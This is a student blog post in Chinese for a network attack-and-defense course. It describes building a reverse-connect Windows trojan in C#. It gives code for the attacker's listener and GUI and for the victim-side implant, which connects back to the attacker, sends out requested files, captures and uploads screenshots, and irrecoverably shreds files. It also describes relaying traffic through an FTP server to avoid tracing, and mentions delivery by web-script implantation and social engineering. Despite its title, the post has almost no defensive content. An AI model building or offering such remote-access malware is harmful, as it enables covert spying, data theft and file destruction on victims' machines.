zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165314『网络对抗技术』Final:反弹木马的剖析与防御

    2018-2019-2 20165314『网络对抗技术』Final:反弹木马的剖析与防御

    实践规划

    通过自学,掌握木马的攻击原理,初步实现一个反弹木马,主要分为服务器端(靶机)、客户端(攻击者)和一个代理服务器端,其中客户端包括控制程序和配置程序两部分,代理服务器端提供转发数据功能以防止反跟踪。

    我要开始赶鸭子上架了

    初步规划做一个针对windows的远程控制型第六代木马,利用网页脚本植入,不采用C/S结构的直接通信方式,而是通过一个代理服务器传输数据。如果最后结果跟这个有出入就当我没说过这句。

    实践原理

    反弹端口型木马系统基于TCP/IP协议体系建立通信,通过对在线FTP服务器文件读写获取连接信息,实现反弹端口连接功能。客户端采用界面化管理方式,实现对服务端的CMD命令控制。

    隐蔽性是木马程序的重要特性,与病毒相比,一般的木马程序并不具备破坏性,它寄生在用户计算机系统中,通过获取当前用户的操作权限,进行比如添加删除程序,修改注册表,窃取用户机密信息等恶意工作。

    就近年来的木马进行分析,木马的功能大致如下:

    (l)自动搜索已感染木马的计算机;

    (2)对文件系统进行控制,如查看、拷贝、传输、删除文件等;

    (3)实现程序的远程打开;

    (4)实时监控屏幕信息;

    (5)对计算机输入输出控制权接管;

    (7)记录、监视按键顺序、系统信息等一切操作;

    (8)随意修改注册表;

    (9)恶意安装程序,修改计算机环境等。[1]

    本次实践预计对以上功能中的(1)、(2)、(3)功能进行实现

    实践内容

    本次实践基于windows下的vs2017,程序由C#进行编写,并对完成程序进行一些非代码层次操作以实现社会工程学攻击目的。

    主控端设计

    1、界面设计

    1.1启动监听按钮

    点击后对本机指定端口开启监听,并在成功建立与目标机连接后提示

    1.2目标地址

    建立连接后显示目标机器的ip地址,这个文本框内的数据是只读类型的

    1.3指令栏

    建立连接后在指令栏中选择要进行的操作,如果连接未建立、未选择指令或选择了有操作对象的指令类型但没选择对象时提示

    1.4文件目录

    建立连接后显示目标机器的文件目录,选择某个目录展开该目录下的子目录结构

    1.5文件列表

    在1.4中选择目录后在1.5中显示该目录下的文件,显示内容包括文件名、创建日期、文件大小

    1.6存储路径选择

    用于修改获取文件类功能所获取文件存储路径,若路径不存在则提示

    2、功能实现

    2.1监听

    编辑点击按钮事件,点击后实例化一个tcp监听类,并开启监听,监听到连接请求则将一个定义的标志符置为真,并获取请求端ip地址

    核心代码:

    TcpListener listen = new TcpListener(5314);
    string ReomteIP;
    listen.Start();
    TcpClient client = listen.AcceptTcpClient();
    client = listen.AcceptTcpClient();
    bool IsConnect = client.Connected;
    if(IsConnerct)
    {
        ReomteIP = client.RemoteEndPoint.ToString();
    }
    
    2.2显示目标地址

    连接成功后,获取链接的RemoteEndPoint属性转换为string类型输出即可
    TargetAddr.Text = StartListening.RemoteIP;

    2.3指令栏

    在确认指令按钮的事件中对选择指令的规则进行约束,若不符合规则则弹出消息框,不执行指令;对符合规则的指令,采用“指令码”+“带路径的文件名”形式写入数据流发送给受控端

    核心代码:

    switch (CommandCode)
    {
        case 1:
            if(this.FileList.SelectedItems.Count == 0)
            {
            MessageBox.Show("请选择要获取的文件","信息提示",ageBoxButtons.OK,MessageBoxIcon.Information);
            return;
            }
            else Execution(CommandCode);
            return;
        case 4:
            if(this.FileList.SelectedItems.Count == 0)
            {
            MessageBox.Show("请选择要粉碎的文件","信息提示",ageBoxButtons.OK,MessageBoxIcon.Information);
            return;
            }
            else Execution(CommandCode);
            return;
        case 5:
            MessageBox.Show("请选择要执行的指令","信息提示",MessageBoxButtons.OK,MessageBoxIcon.Information);
            return;
        default:
            Execution(CommandCode);
            return;
    }
    ……
    
    
    2.4目录栏
    2.4.1初始化

    遍历计算机中所有逻辑驱动器名称(盘符),实例化DriveInfo对象用于记录硬盘节点信息,在目录栏中添加各个硬盘对应节点

    核心代码:

    foreach (string drive in Environment.GetLogicalDrives())
    {
        //实例化DriveInfo对象
        var dir = new DriveInfo(drive);
        switch (dir.DriveType)           //判断驱动器类型
        {
        case DriveType.Fixed:        //仅取固定磁盘盘符 Removable-U盘 
        {
            //Split仅获取盘符字母
            TreeNode tNode = new TreeNode(dir.Name.Split(':')[0]);
            tNode.Name = dir.Name;
            tNode.Tag = tNode.Name;
            tNode.ImageIndex = IconIndexes.FixedDrive;    //设置获取结点显示图片
            tNode.SelectedImageIndex = IconIndexes.FixedDrive;//设置选择显示图片
            DirectoryTree.Nodes.Add(tNode);               //加载驱动节点
            tNode.Nodes.Add("");
        }
        break;
        case DriveType.Removable:
        {
            TreeNode tNode = new TreeNode(dir.Name.Split(':')[0]);
            tNode.Name = dir.Name;
            tNode.Tag = tNode.Name;
            tNode.ImageIndex = IconIndexes.FixedDrive;
            tNode.SelectedImageIndex = IconIndexes.FixedDrive;
            DirectoryTree.Nodes.Add(tNode);  
            tNode.Nodes.Add("");
        }
        break;
    }
    rootNode.Expand();   //展开树状视图
    
    2.4.1展开子目录

    自定义TreeViewItems类的方法用于加载子目录,在点击父目录后获取该目录下一级所有文件夹,添加子节点后展开

    核心代码:

    string[] dics = Directory.GetDirectories(path);
    foreach (string dic in dics)
    {   
        TreeNode subNode = new TreeNode(new DirectoryInfo(dic).Name);  //实例化
        subNode.Name = new DirectoryInfo(dic).FullName;               //完整目录
        subNode.Tag = subNode.Name;
        subNode.ImageIndex = IconIndexes.ClosedFolder;               //设置获取节点显示图片
        subNode.SelectedImageIndex = IconIndexes.OpenFolder;        //设置选择节点显示图片
        tNode.Nodes.Add(subNode);
        subNode.Nodes.Add("");                                     //加载空节点 实现+号
    }
    
    2.5文件列表

    将目录栏中选中的目录作为路径,获取该目录下一级所有文件夹,获取属性后添加节点

    核心代码:

    //数据更新 UI暂时挂起直到EndUpdate绘制控件,可以有效避免闪烁并大大提高加载速度
    FileList.BeginUpdate();
    DirectoryInfo dir = new DirectoryInfo(path);
    FilePathPublic = path;                     //获取当前目录文件列表
    FileInfo[] fileInfo = dir.GetFiles();     
    for (int i = 0; i < fileInfo.Length; i++)
    {   
        ListViewItem listItem = new ListViewItem();
        listItem.Text = "[" + (i + 1) + "] ";     //序列
        listItem.ForeColor = Color.Blue;          //设置行颜色
        listItem.SubItems.Add(fileInfo[i].Name);  //显示文件名
        length = fileInfo[i].Length;              //获取当前文件大小字节 
        istItem.SubItems.Add(Math.Ceiling(decimal.Divide(length, 1024)) + " KB");
        listItem.SubItems.Add(fileInfo[i].Extension + "文件");   //加载数据至FileList
        this.FileList.Items.Add(listItem);
    }
    //结束数据处理,UI界面一次性绘制 否则可能出现闪动情况
    FileList.EndUpdate();
    
    2.6存储路径修改

    对输入的存储路径进行判断,若路径不存在则提示

    if (!Directory.Exists(StoreAddr.Text))
    {
        MessageBox.Show("请选择有效的地址","信息提示",MessageBoxButtons.OK,MessageBoxIcon.Information);
        return;
    }
    

    受控端设计

    受控端出于隐蔽性需求,不需要设计特意GUI,采用默认的form窗体就行,这里着重介绍受控端实现的功能

    1、功能介绍

    1.1回连

    受控端启动后,定期向主控端发起连接请求,连接成功后等待主控端传来的指令。

    1.2获取文件

    收到主控端发来的指令后执行,将指定的文件传回主控端

    1.3获取截屏

    收到主控端发来的指令后执行,截取当前屏幕并保存,将截屏的文件传回主控端,并删除本地文件

    1.4留言

    (该功能的想法来着于小时候家里电脑遭受的一次攻击,那个比攻击者在我家的电脑屏幕上留了一段消息,然后电脑无法正常启动,导致了接下来一段时间我无电脑可玩)

    收到主控端发来的指令后执行,接收主控端发来的word文档,文档内容可在主控端自行编辑

    1.5粉碎文件

    收到主控端发来的指令后执行,粉碎指定文件(非删除,不可找回)

    2、功能实现

    2.1回连

    程序启动后实例化一个Tcpclient类进行连接请求,成功后获得一个绑定该连接的流,并开启一个缓冲流用于读取流文件

    TcpClient tc = new TcpClient("192.xxx.xxx.xxx", 5314);
    NetworkStream ns = tc.GetStream(); 
    BufferedStream sr = new BufferedStream(ns);
    StreamReader sread = new StreamReader(ns); 
    
    2.2文件获取

    读取主控端传来的文件流中的文件地址,将该文件复制到另一个流中传回主控端

    string[] cmd = new string[2];
    StreamReader rc = new StreamReader(sread);
    while (rc.Peek() != -1)
    {
        cmd = rc.ReadLine().Split(' ');
        cmd[1] = cmd[1].Replace("", "");               
    }
    ……
    if(!Directory.Exists(cmd[1]))
    {
        StreamWriter sw = new StreamReader(ns);
        FileStream fs = new FileStream(cmd[1], FileMode.Open);
        contentLen = fs.Read(buff, 0, buffLength);
        while (contentLen != 0)
        {
            sw.Write(buff, 0, contentLen);
            contentLen = fs.Read(buff, 0, buffLength);
        }
        fs.Close();
    }
    
    2.3获取截屏

    实例化一个矩形类对整个屏幕进行截取,保存到当前文件夹后上传,最后粉碎该文件

    Rectangle tScreenRect = new Rectangle(0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
    Bitmap tSrcBmp = new Bitmap(tScreenRect.Width, tScreenRect.Height); // 用于屏幕原始图片保存
    Graphics gp = Graphics.FromImage(tSrcBmp);
    gp.CopyFromScreen(0, 0, 0, 0, tScreenRect.Size);
    gp.DrawImage(tSrcBmp, 0, 0, tScreenRect, GraphicsUnit.Pixel);
    tSrcBmp.Save(Directory.GetCurrentDirectory() + "\" + FileName);
    UpLoad(Directory.GetCurrentDirectory() + "\" + FileName);
    Crash(Directory.GetCurrentDirectory() + "\" + FileName);
    
    2.3留言

    获取接收到的文件流中以字符串形式保存的留言内容,在程序运行目录下新建一个wrod文档并写入

    string path = Directory.GetCurrentDirectory() +"\Example.doc";
    FileStream fs = new FileStream(path, FileMode.Append);
    StreamWriter sw = new StreamWriter(fs);
    sw.WriteLine(cmd[1]);
    sw.Flush();
    sw.Close();
    
    2.4粉碎文件

    使用加密服务提供程序CSP实现加密随机数生成器,将生成的随机数填充入目的文件中,以达到不可复原的效果

    byte[] dummyBuffer = new byte[512];
    RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider(); //使用加密服务提供程序CSP实现加密随机数生成器
    FileStream inputStream = new FileStream(Filepath, FileMode.Open);
    inputStream.Position = 0;
    for (int sectorsWritten = 0; sectorsWritten < sectors; sectorsWritten++)
    {
        rng.GetBytes(dummyBuffer);//加密随机值填充数组
        inputStream.Write(dummyBuffer, 0, dummyBuffer.Length);
        sectorsWritten++;
    }
    inputStream.SetLength(0);
    inputStream.Close();
    

    3、运行流程

    4、遇到的问题

    连接建立成功之后,传输一次后连接直接关闭,无法再次使用,这是因为在C#中实例化的tcpclient类默认采用的是用于单次传输的短连接(short connection),经过自学最终还是没学会如何建立一次传输后不会关闭的长连接( persistent connection),尝试在新端口建立回传连接也不成功,经过老师的指导我决定改变通信的方式,通过建立一个ftp服务器来存储主控端的指令和受控端获取的文件

    5、搭建FTP服务器

    参考百度经验,在第四步出现无法开启windows服务的情况,查找对应错误码发现是我的系统太久没更新的原因,(what?这个从另一门课大作业就开始困扰我的问题居然只是我**的系统没升级?)花了一个下午更新系统后搭建了一个简易的ftp服务器

    (确实很简易哦)

    6、修改代码

    主要是将主控端和受控端之间的tcp连接改为向ftp服务器的连接请求
    例如:

    string FileName = '/' + LocalPath.Split('\')[LocalPath.Split('\').Length - 1];
    string FTPPath = FTPAddress + FileName;
    FtpWebRequest reqFtp = (FtpWebRequest)FtpWebRequest.Create(new Uri(FTPPath));
    reqFtp.UseBinary = true;
    reqFtp.Credentials = new NetworkCredential(FTPUsername, FTPPwd); //设置通信凭据
    reqFtp.KeepAlive = false; //请求完成后关闭ftp连接
    

    参考文献:

    [1] 木马攻击与隐蔽技术研究
    [2] 线程注入式无进程木马的实现原理
    [3] 木马技术研究及反弹木马系统的设计与实现

  • 相关阅读:
    UTF8 GBK UTF8 GB2312 之间的区别和关系
    error
    adb
    没有在Manifest.xml中注册Activity
    office 2003打开2007版文件插件(附官方下载地址): compatibility pack for the 2007 office system
    R包MetaboAnalystR安装指南(Linux环境非root)
    R合并数据框有重复匹配时只保留第一行
    质谱行业介绍
    蛋白质组学数据分析——(1)原理
    [R报错] Kruskalwallis test 所有组的层次都必需是有限的
  • 原文地址:https://www.cnblogs.com/zhangshuai9345/p/10897818.html
Copyright © 2011-2022 走看看